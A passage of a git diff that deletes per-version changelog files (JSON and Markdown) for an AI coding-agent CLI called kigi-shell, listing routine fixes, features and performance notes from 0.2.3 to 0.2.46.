diff --git a/crates/codegen/kigi-shell/changelogs/0.2.26.json b/crates/codegen/kigi-shell/changelogs/0.2.26.json
deleted file mode 100644
index a7c4b0e..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.26.json
+++ /dev/null
@@ -1,27 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Large pasted content** no longer triggers context-window errors or breaks compaction and memory flush.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**API-key users** can now run `grok agent --leader` without forced interactive login or timeouts.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Compaction** no longer retries endlessly on credit, size, or auth failures; shows a clear message instead.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Windows PowerShell and cmd.exe** no longer falsely reject commands containing `&`.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**web_fetch** no longer crashes the CLI on pages whose root element matches a cleaning selector.",
-    "breaking_change": false
-  }
-]
\ No newline at end of file
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.26.md b/crates/codegen/kigi-shell/changelogs/0.2.26.md
deleted file mode 100644
index 71aeb5f..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.26.md
+++ /dev/null
@@ -1,9 +0,0 @@
-# 0.2.26
-
-## Bug Fixes
-
-- **Large pasted content** no longer triggers context-window errors or breaks compaction and memory flush.
-- **API-key users** can now run `grok agent --leader` without forced interactive login or timeouts.
-- **Compaction** no longer retries endlessly on credit, size, or auth failures; shows a clear message instead.
-- **Windows PowerShell and cmd.exe** no longer falsely reject commands containing `&`.
-- **web_fetch** no longer crashes the CLI on pages whose root element matches a cleaning selector.
\ No newline at end of file
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.27.json b/crates/codegen/kigi-shell/changelogs/0.2.27.json
deleted file mode 100644
index 333978b..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.27.json
+++ /dev/null
@@ -1,22 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Monitor output** no longer appears as raw XML in the conversation view during leader sessions.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Windows commands** containing `&` are no longer incorrectly rejected by `run_terminal_cmd`.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Image and video generation** tools now include the saved filename and session folder in their output.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Python -c** save-to-file reminder now suggests correct commands on Windows.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.27.md b/crates/codegen/kigi-shell/changelogs/0.2.27.md
deleted file mode 100644
index c9e5c3a..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.27.md
+++ /dev/null
@@ -1,12 +0,0 @@
-# 0.2.27
-
-## Features
-
-- **Image and video generation** tools now include the saved filename and session folder in their output.
-
-## Bug Fixes
-
-- **Monitor output** no longer appears as raw XML in the conversation view during leader sessions.
-- **Windows commands** containing `&` are no longer incorrectly rejected by `run_terminal_cmd`.
-- **Python -c** save-to-file reminder now suggests correct commands on Windows.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.28.json b/crates/codegen/kigi-shell/changelogs/0.2.28.json
deleted file mode 100644
index 5350400..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.28.json
+++ /dev/null
@@ -1,7 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Images** read via read_file are now downscaled even when small in bytes but large in pixels.",
-    "breaking_change": false
-  }
-]
\ No newline at end of file
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.28.md b/crates/codegen/kigi-shell/changelogs/0.2.28.md
deleted file mode 100644
index 141feeb..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.28.md
+++ /dev/null
@@ -1,5 +0,0 @@
-# 0.2.28
-
-## Bug Fixes
-
-- **Images** read via read_file are now downscaled even when small in bytes but large in pixels.
\ No newline at end of file
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.29.json b/crates/codegen/kigi-shell/changelogs/0.2.29.json
deleted file mode 100644
index 7d233bb..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.29.json
+++ /dev/null
@@ -1,12 +0,0 @@
-[
-  {
-    "category": "performance",
-    "description": "**Resuming large sessions** is now substantially faster with no data loss.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**`/rewind`** before a compaction boundary no longer leaves later prompts in context.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.29.md b/crates/codegen/kigi-shell/changelogs/0.2.29.md
deleted file mode 100644
index 0e63480..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.29.md
+++ /dev/null
@@ -1,10 +0,0 @@
-# 0.2.29
-
-## Bug Fixes
-
-- **`/rewind`** before a compaction boundary no longer leaves later prompts in context.
-
-## Performance
-
-- **Resuming large sessions** is now substantially faster with no data loss.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.3.json b/crates/codegen/kigi-shell/changelogs/0.2.3.json
deleted file mode 100644
index a6d7fc5..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.3.json
+++ /dev/null
@@ -1,27 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "Memory system: /remember command, note modal with raw/enhanced preview, x.ai/memory/rewrite ACP extension, Ctrl+F fullscreen toggle for /memory modal.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "Agent configuration: /config-agents modal with agents, personas, and defaults.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "Goal classifier: end-to-end goal tracking with subagent-powered classification.",
-    "breaking_change": false
-  },
-  {
-    "category": "improvements",
-    "description": "Image handling: process-wide moka cache, hardened pipeline against truncated/CRC errors.",
-    "breaking_change": false
-  },
-  {
-    "category": "bug_fixes",
-    "description": "Fixed cache regression from raw_output always being populated. Fixed channel switch so grok update --stable works correctly across version series.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.3.md b/crates/codegen/kigi-shell/changelogs/0.2.3.md
deleted file mode 100644
index a048603..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.3.md
+++ /dev/null
@@ -1,8 +0,0 @@
-# 0.2.3
-
-## Features
-
-- Memory system: /remember command, note modal with raw/enhanced preview, x.ai/memory/rewrite ACP extension, Ctrl+F fullscreen toggle for /memory modal.
-- Agent configuration: /config-agents modal with agents, personas, and defaults.
-- Goal classifier: end-to-end goal tracking with subagent-powered classification.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.30.json b/crates/codegen/kigi-shell/changelogs/0.2.30.json
deleted file mode 100644
index 9d64f43..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.30.json
+++ /dev/null
@@ -1,22 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "A new plugin install suggestion appears above the prompt when you type a known marketplace plugin name or domain.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Trace uploads** and remote session restores now succeed with a deployment key and no browser login.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Resumed sessions** no longer pad the sticky prompt with empty rows; cancelling a turn now keeps the rest of the prompt queue intact.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Cancelling a running prompt no longer leaves the interface stuck on the cancelling spinner.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.30.md b/crates/codegen/kigi-shell/changelogs/0.2.30.md
deleted file mode 100644
index a10387d..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.30.md
+++ /dev/null
@@ -1,12 +0,0 @@
-# 0.2.30
-
-## Features
-
-- A new plugin install suggestion appears above the prompt when you type a known marketplace plugin name or domain.
-
-## Bug Fixes
-
-- **Trace uploads** and remote session restores now succeed with a deployment key and no browser login.
-- **Resumed sessions** no longer pad the sticky prompt with empty rows; cancelling a turn now keeps the rest of the prompt queue intact.
-- Cancelling a running prompt no longer leaves the interface stuck on the cancelling spinner.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.31.json b/crates/codegen/kigi-shell/changelogs/0.2.31.json
deleted file mode 100644
index b17a6b4..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.31.json
+++ /dev/null
@@ -1,17 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Marketplace skills** without proper descriptions are now hidden from listings instead of flooding the model with tables.",
-    "breaking_change": false
-  },
-  {
-    "category": "performance",
-    "description": "**Grep searches** on large repositories are now substantially faster and no longer hit the 60-second timeout.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Prompts submitted rapidly** now stay in correct submission order in the queue.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.31.md b/crates/codegen/kigi-shell/changelogs/0.2.31.md
deleted file mode 100644
index e32347b..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.31.md
+++ /dev/null
@@ -1,11 +0,0 @@
-# 0.2.31
-
-## Bug Fixes
-
-- **Marketplace skills** without proper descriptions are now hidden from listings instead of flooding the model with tables.
-- **Prompts submitted rapidly** now stay in correct submission order in the queue.
-
-## Performance
-
-- **Grep searches** on large repositories are now substantially faster and no longer hit the 60-second timeout.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.32.json b/crates/codegen/kigi-shell/changelogs/0.2.32.json
deleted file mode 100644
index 7612f4f..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.32.json
+++ /dev/null
@@ -1,17 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Slash commands** from project plugins now appear correctly in every open conversation after a plugin change.",
-    "breaking_change": false
-  },
-  {
-    "category": "performance",
-    "description": "**Grep searches** on large repositories are now substantially faster and no longer hit the 60-second timeout.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Prompts submitted rapidly** now stay in correct submission order in the queue.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.32.md b/crates/codegen/kigi-shell/changelogs/0.2.32.md
deleted file mode 100644
index fb48b41..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.32.md
+++ /dev/null
@@ -1,14 +0,0 @@
-# 0.2.32
-
-## Features
-
-- **Slash commands** from project plugins now appear correctly in every open conversation after a plugin change.
-
-## Bug Fixes
-
-- **Prompts submitted rapidly** now stay in correct submission order in the queue.
-
-## Performance
-
-- **Grep searches** on large repositories are now substantially faster and no longer hit the 60-second timeout.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.33.json b/crates/codegen/kigi-shell/changelogs/0.2.33.json
deleted file mode 100644
index cfc5a7c..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.33.json
+++ /dev/null
@@ -1,12 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Fixed duplicate turn output** when attaching a second client to an active leader session.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Fixed **Send now** on queued prompts.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.33.md b/crates/codegen/kigi-shell/changelogs/0.2.33.md
deleted file mode 100644
index d0f2017..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.33.md
+++ /dev/null
@@ -1,7 +0,0 @@
-# 0.2.33
-
-## Bug Fixes
-
-- **Fixed duplicate turn output** when attaching a second client to an active leader session.
-- Fixed **Send now** on queued prompts.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.34.json b/crates/codegen/kigi-shell/changelogs/0.2.34.json
deleted file mode 100644
index 599e827..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.34.json
+++ /dev/null
@@ -1,12 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**`grok login`** now defaults to device code flow, which works reliably in SSH, WSL, VPN, and browser-restricted environments.",
-    "breaking_change": true
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed a hang during auth refresh.**",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.34.md b/crates/codegen/kigi-shell/changelogs/0.2.34.md
deleted file mode 100644
index 2ca81e8..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.34.md
+++ /dev/null
@@ -1,10 +0,0 @@
-# 0.2.34
-
-## Features
-
-- **`grok login`** now defaults to device code flow, which works reliably in SSH, WSL, VPN, and browser-restricted environments.
-
-## Bug Fixes
-
-- **Fixed a hang during auth refresh.**
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.35.json b/crates/codegen/kigi-shell/changelogs/0.2.35.json
deleted file mode 100644
index fe51488..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.35.json
+++ /dev/null
@@ -1 +0,0 @@
-[]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.35.md b/crates/codegen/kigi-shell/changelogs/0.2.35.md
deleted file mode 100644
index 6a04ad3..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.35.md
+++ /dev/null
@@ -1,2 +0,0 @@
-# 0.2.35
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.36.json b/crates/codegen/kigi-shell/changelogs/0.2.36.json
deleted file mode 100644
index b953daf..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.36.json
+++ /dev/null
@@ -1,17 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Large MCP tool results** are now saved with the correct extension and the model receives better hints for querying them.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed false-positive doom-loop terminations** when many parallel tool calls fail together in one batch.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed a crash** that could occur during auto-compaction when resuming a session containing reasoning content.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.36.md b/crates/codegen/kigi-shell/changelogs/0.2.36.md
deleted file mode 100644
index 78f14be..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.36.md
+++ /dev/null
@@ -1,11 +0,0 @@
-# 0.2.36
-
-## Features
-
-- **Large MCP tool results** are now saved with the correct extension and the model receives better hints for querying them.
-
-## Bug Fixes
-
-- **Fixed false-positive doom-loop terminations** when many parallel tool calls fail together in one batch.
-- **Fixed a crash** that could occur during auto-compaction when resuming a session containing reasoning content.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.37.json b/crates/codegen/kigi-shell/changelogs/0.2.37.json
deleted file mode 100644
index fdb5048..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.37.json
+++ /dev/null
@@ -1,22 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**MCP tool result queries** now list only command-line tools actually present on your system.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Subagents** now correctly receive web_search and x_search tools from the parent session.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**`grok update`** now restarts any older running leader so all clients get the new binary.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Long-running bash commands** that hit the timeout are now moved to the background by default instead of killed.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.37.md b/crates/codegen/kigi-shell/changelogs/0.2.37.md
deleted file mode 100644
index ae26d3a..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.37.md
+++ /dev/null
@@ -1,12 +0,0 @@
-# 0.2.37
-
-## Features
-
-- **MCP tool result queries** now list only command-line tools actually present on your system.
-- **`grok update`** now restarts any older running leader so all clients get the new binary.
-- **Long-running bash commands** that hit the timeout are now moved to the background by default instead of killed.
-
-## Bug Fixes
-
-- **Subagents** now correctly receive web_search and x_search tools from the parent session.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.38.json b/crates/codegen/kigi-shell/changelogs/0.2.38.json
deleted file mode 100644
index 1eb5fea..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.38.json
+++ /dev/null
@@ -1,17 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Watching status line** now appears when background monitors, loops, or subagents can wake the agent.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Default model selection** now correctly chooses the intended entry when multiple models share a slug.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Minor bug fixes",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.38.md b/crates/codegen/kigi-shell/changelogs/0.2.38.md
deleted file mode 100644
index 1fb636b..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.38.md
+++ /dev/null
@@ -1,11 +0,0 @@
-# 0.2.38
-
-## Features
-
-- **Watching status line** now appears when background monitors, loops, or subagents can wake the agent.
-
-## Bug Fixes
-
-- **Default model selection** now correctly chooses the intended entry when multiple models share a slug.
-- Minor bug fixes
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.39.json b/crates/codegen/kigi-shell/changelogs/0.2.39.json
deleted file mode 100644
index b4fcfdb..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.39.json
+++ /dev/null
@@ -1,37 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**run_terminal_cmd** can stream live stdout/stderr chunks when the workspace flag is enabled.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**/session-info** now displays the current turn index.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Resumed subagents** no longer loop forever during auto-compaction on large context windows.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "Server-synced and bundled skills are now discovered from launcher-injected directories.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Background task** descriptions and & rejection messages now correctly name the real parameters.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Doom-loop detection** no longer falsely triggers on distinct failing tool calls.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Background `&` operator** is now allowed by default in terminal commands.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.39.md b/crates/codegen/kigi-shell/changelogs/0.2.39.md
deleted file mode 100644
index c62076a..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.39.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# 0.2.39
-
-## Features
-
-- **run_terminal_cmd** can stream live stdout/stderr chunks when the workspace flag is enabled.
-- **/session-info** now displays the current turn index.
-- Server-synced and bundled skills are now discovered from launcher-injected directories.
-- **Background `&` operator** is now allowed by default in terminal commands.
-
-## Bug Fixes
-
-- **Resumed subagents** no longer loop forever during auto-compaction on large context windows.
-- **Background task** descriptions and & rejection messages now correctly name the real parameters.
-- **Doom-loop detection** no longer falsely triggers on distinct failing tool calls.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.4.json b/crates/codegen/kigi-shell/changelogs/0.2.4.json
deleted file mode 100644
index b9d051c..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.4.json
+++ /dev/null
@@ -1,12 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**read_file** now correctly passes embedded base64 images to the model as vision tokens instead of truncated fragments.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**image_gen** now uses the higher-quality grok-imagine-image-quality model.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.4.md b/crates/codegen/kigi-shell/changelogs/0.2.4.md
deleted file mode 100644
index 7074466..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.4.md
+++ /dev/null
@@ -1,10 +0,0 @@
-# 0.2.4
-
-## Features
-
-- **image_gen** now uses the higher-quality grok-imagine-image-quality model.
-
-## Bug Fixes
-
-- **read_file** now correctly passes embedded base64 images to the model as vision tokens instead of truncated fragments.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.40.json b/crates/codegen/kigi-shell/changelogs/0.2.40.json
deleted file mode 100644
index 22e5a25..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.40.json
+++ /dev/null
@@ -1,17 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**`grok --debug`** now produces per-session log files under ~/.grok/debug/ even with a leader process.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Doom-loop warnings** now correctly describe cycles and distinct edit failures instead of claiming identical arguments.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Model list changes** from config or cache now appear in already-connected TUI and IDE clients without restart.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.40.md b/crates/codegen/kigi-shell/changelogs/0.2.40.md
deleted file mode 100644
index 618239b..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.40.md
+++ /dev/null
@@ -1,11 +0,0 @@
-# 0.2.40
-
-## Features
-
-- **`grok --debug`** now produces per-session log files under ~/.kigi/debug/ even with a leader process.
-
-## Bug Fixes
-
-- **Doom-loop warnings** now correctly describe cycles and distinct edit failures instead of claiming identical arguments.
-- **Model list changes** from config or cache now appear in already-connected TUI and IDE clients without restart.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.41.json b/crates/codegen/kigi-shell/changelogs/0.2.41.json
deleted file mode 100644
index 992d540..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.41.json
+++ /dev/null
@@ -1,22 +0,0 @@
-[
-  {
-    "category": "performance",
-    "description": "**Fixed memory context injection** on resume so the prompt prefix stays byte-stable and KV cache is preserved.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed token count after compaction** so the displayed number no longer jumps back up on the next model response.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed plugin skill loading** when a manifest lists skill directories directly instead of a parent skills/ folder.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Compaction completion message** now shows the before → after token reduction instead of only the final count.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.41.md b/crates/codegen/kigi-shell/changelogs/0.2.41.md
deleted file mode 100644
index 531f516..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.41.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# 0.2.41
-
-## Features
-
-- **Compaction completion message** now shows the before → after token reduction instead of only the final count.
-
-## Bug Fixes
-
-- **Fixed token count after compaction** so the displayed number no longer jumps back up on the next model response.
-- **Fixed plugin skill loading** when a manifest lists skill directories directly instead of a parent skills/ folder.
-
-## Performance
-
-- **Fixed memory context injection** on resume so the prompt prefix stays byte-stable and KV cache is preserved.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.42.json b/crates/codegen/kigi-shell/changelogs/0.2.42.json
deleted file mode 100644
index e55b1cd..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.42.json
+++ /dev/null
@@ -1,12 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**ask_user_question** tool can now be enabled in allowlists without requiring plan-mode tools.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**MCP servers** provided at session start now persist across config hot-reloads.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.42.md b/crates/codegen/kigi-shell/changelogs/0.2.42.md
deleted file mode 100644
index ca9c4e9..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.42.md
+++ /dev/null
@@ -1,7 +0,0 @@
-# 0.2.42
-
-## Bug Fixes
-
-- **ask_user_question** tool can now be enabled in allowlists without requiring plan-mode tools.
-- **MCP servers** provided at session start now persist across config hot-reloads.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.43.json b/crates/codegen/kigi-shell/changelogs/0.2.43.json
deleted file mode 100644
index 7b33c08..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.43.json
+++ /dev/null
@@ -1,17 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**ask_user_question** tool can now be enabled in allowlists without requiring plan-mode tools.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Shift+Tab** mode cycling (Normal → Plan → Auto-Approve) works again in the agent view.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Ctrl+C** now cancels a blocking `grok update` cleanly instead of leaving an orphaned download repainting the terminal.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.43.md b/crates/codegen/kigi-shell/changelogs/0.2.43.md
deleted file mode 100644
index 378ef8b..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.43.md
+++ /dev/null
@@ -1,8 +0,0 @@
-# 0.2.43
-
-## Bug Fixes
-
-- **ask_user_question** tool can now be enabled in allowlists without requiring plan-mode tools.
-- **Shift+Tab** mode cycling (Normal → Plan → Auto-Approve) works again in the agent view.
-- **Ctrl+C** now cancels a blocking `grok update` cleanly instead of leaving an orphaned download repainting the terminal.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.44.json b/crates/codegen/kigi-shell/changelogs/0.2.44.json
deleted file mode 100644
index 54355d5..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.44.json
+++ /dev/null
@@ -1,37 +0,0 @@
-[
-  {
-    "category": "performance",
-    "description": "**Inference requests** recover faster from silent engine stalls instead of waiting the full idle timeout.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Interjecting** while editing a queued prompt no longer strands the composer or blocks the queue.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**K/J** keys now snap the viewport to the top of previous or next assistant responses.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**J/K** (vim mode) now navigate between assistant responses in scrollback.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**sequenceDiagram** mermaid blocks now render as Unicode lifeline diagrams instead of source fallback.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Mid-turn interjections** now appear as separate user messages instead of being appended to tool results.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Project MCP config** touches no longer trigger repeated reload storms.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.44.md b/crates/codegen/kigi-shell/changelogs/0.2.44.md
deleted file mode 100644
index 9a57556..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.44.md
+++ /dev/null
@@ -1,18 +0,0 @@
-# 0.2.44
-
-## Features
-
-- **K/J** keys now snap the viewport to the top of previous or next assistant responses.
-- **J/K** (vim mode) now navigate between assistant responses in scrollback.
-- **sequenceDiagram** mermaid blocks now render as Unicode lifeline diagrams instead of source fallback.
-
-## Bug Fixes
-
-- **Interjecting** while editing a queued prompt no longer strands the composer or blocks the queue.
-- **Mid-turn interjections** now appear as separate user messages instead of being appended to tool results.
-- **Project MCP config** touches no longer trigger repeated reload storms.
-
-## Performance
-
-- **Inference requests** recover faster from silent engine stalls instead of waiting the full idle timeout.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.45.json b/crates/codegen/kigi-shell/changelogs/0.2.45.json
deleted file mode 100644
index 0955763..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.45.json
+++ /dev/null
@@ -1,37 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Mermaid diagrams** now render to images when you click Open in a code block (on by default).",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed** rare conversation corruption when skills changed while a tool call was still running.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed** `grok --resume` failing on empty image-only session folders left by cross-directory pastes.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed** pasted images and relative paths using the wrong directory after resuming a session from another folder.",
-    "breaking_change": false
-  },
-  {
-    "category": "internal",
-    "description": "**--debug and --debug-file** flags now show simpler, clearer descriptions in --help output.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Welcome screen logo** no longer renders as invalid characters on legacy Windows command prompts and PowerShell.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed** \"unknown session id\" errors that occurred after the leader process crashed or was killed.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.45.md b/crates/codegen/kigi-shell/changelogs/0.2.45.md
deleted file mode 100644
index 8717da5..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.45.md
+++ /dev/null
@@ -1,14 +0,0 @@
-# 0.2.45
-
-## Features
-
-- **Mermaid diagrams** now render to images when you click Open in a code block (on by default).
-
-## Bug Fixes
-
-- **Fixed** rare conversation corruption when skills changed while a tool call was still running.
-- **Fixed** `grok --resume` failing on empty image-only session folders left by cross-directory pastes.
-- **Fixed** pasted images and relative paths using the wrong directory after resuming a session from another folder.
-- **Welcome screen logo** no longer renders as invalid characters on legacy Windows command prompts and PowerShell.
-- **Fixed** "unknown session id" errors that occurred after the leader process crashed or was killed.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.46.json b/crates/codegen/kigi-shell/changelogs/0.2.46.json
deleted file mode 100644
index 5b67912..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.46.json
+++ /dev/null
@@ -1,42 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Fixed `grok --resume`** failing on empty image-only session folders left by cross-directory pastes.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed pasted images** and relative paths using the wrong directory after cross-cwd resume.",
-    "breaking_change": false
-  },
-  {
-    "category": "performance",
